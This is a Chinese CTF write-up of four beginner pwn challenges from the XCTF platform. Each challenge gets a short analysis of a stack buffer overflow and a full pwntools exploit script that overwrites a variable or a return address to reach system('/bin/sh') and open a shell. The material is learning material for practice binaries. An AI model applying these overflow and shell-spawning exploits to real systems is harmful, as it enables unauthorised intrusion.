攻防世界pwn

攻防世界:https://adworld.xctf.org.cn/login?prev=%2Ftask

小白做的简单题

where_did_you_born
checksec,64位程序

攻防世界pwn_第1张图片

ida 查看
攻防世界pwn_第2张图片
main

可以看出当 v5 = 1926 时就可以 catflag,但是在第一个 if 判断中当 v5 = 1926 时就直接忽略了 else 判断,看到 gets 函数要求输入 v4,同时 gets 函数是一个可以无限输入数据的函数,所以可以利用 v4 来覆盖 v5,让 v5 = 1926。
v4 和 v5 的地址相差为 0x20 - 0x18 = 0x8


攻防世界pwn_第3张图片

exp

#!/usr/bin/python
#-*-coding:utf-8 -*-
from pwn import *

p = process('./where_did_you_born')
#p = remote("111.198.29.45","54215")

p.recvuntil('Birth?')
p.sendline('1925')

p.recvuntil('Name?')
payload = 'A' * 8 + p64(1926)

p.sendline(payload)
p.interactive()

level0
checksec,64位程序

攻防世界pwn_第4张图片

ida 查看,存在溢出,并且程序中存在 system('/bin/sh')

攻防世界pwn_第5张图片
vulnerable_function

攻防世界pwn_第6张图片
callsystem

callsystem 地址

攻防世界pwn_第7张图片

exp

#!/usr/bin/python
#coding:utf-8
from pwn import *

p = process('./level0')
#p = remote('111.198.29.45','35394')

callsystem = 0x0400596

payload = 'A' * 0x80
payload += p64(0)
payload += p64(callsystem)

p.sendline(payload)
p.interactive()

level2
checksec,32位程序

攻防世界pwn_第8张图片

ida 查看,存在溢出,程序中 system 函数的参数不对,但同时程序中存在 /bin/sh 字符串

攻防世界pwn_第9张图片
vulnerable_function

攻防世界pwn_第10张图片
main

攻防世界pwn_第11张图片

ida 查看 system 函数和 /bin/sh 字符串的地址

攻防世界pwn_第12张图片
system

/bin/sh

exp

#!/usr/bin/python
#coding:utf-8
from pwn import *

p = process('./level2')
#p = remote('111.198.29.45','52640')

system = 0x08048320
bin_sh = 0x0804A024

payload = 'A' * 0x88
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(bin_sh)

p.sendline(payload)
p.interactive()

cgpwn2
checksec,32位程序

攻防世界pwn_第13张图片

ida 查看,存在 system 函数,但是没有 /bin/sh 字符串

攻防世界pwn_第14张图片
hello

攻防世界pwn_第15张图片
hello

攻防世界pwn_第16张图片
system

利用 fgets 函数将 /bin/sh 写入 bss 段


攻防世界pwn_第17张图片

exp

#!/usr/bin/python
#-*-coding:utf-8 -*-
from pwn import *

p = process('./cgpwn2')
#p = remote('111.198.29.45',57244)

system = 0x08048420
bss = 0x0804A080

p.recvuntil('name')
p.sendline("/bin/sh")
p.recvuntil('here:')

payload = 'A' * 0x26
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(bss)

p.sendline(payload)
p.interactive()

你可能感兴趣的:(攻防世界pwn)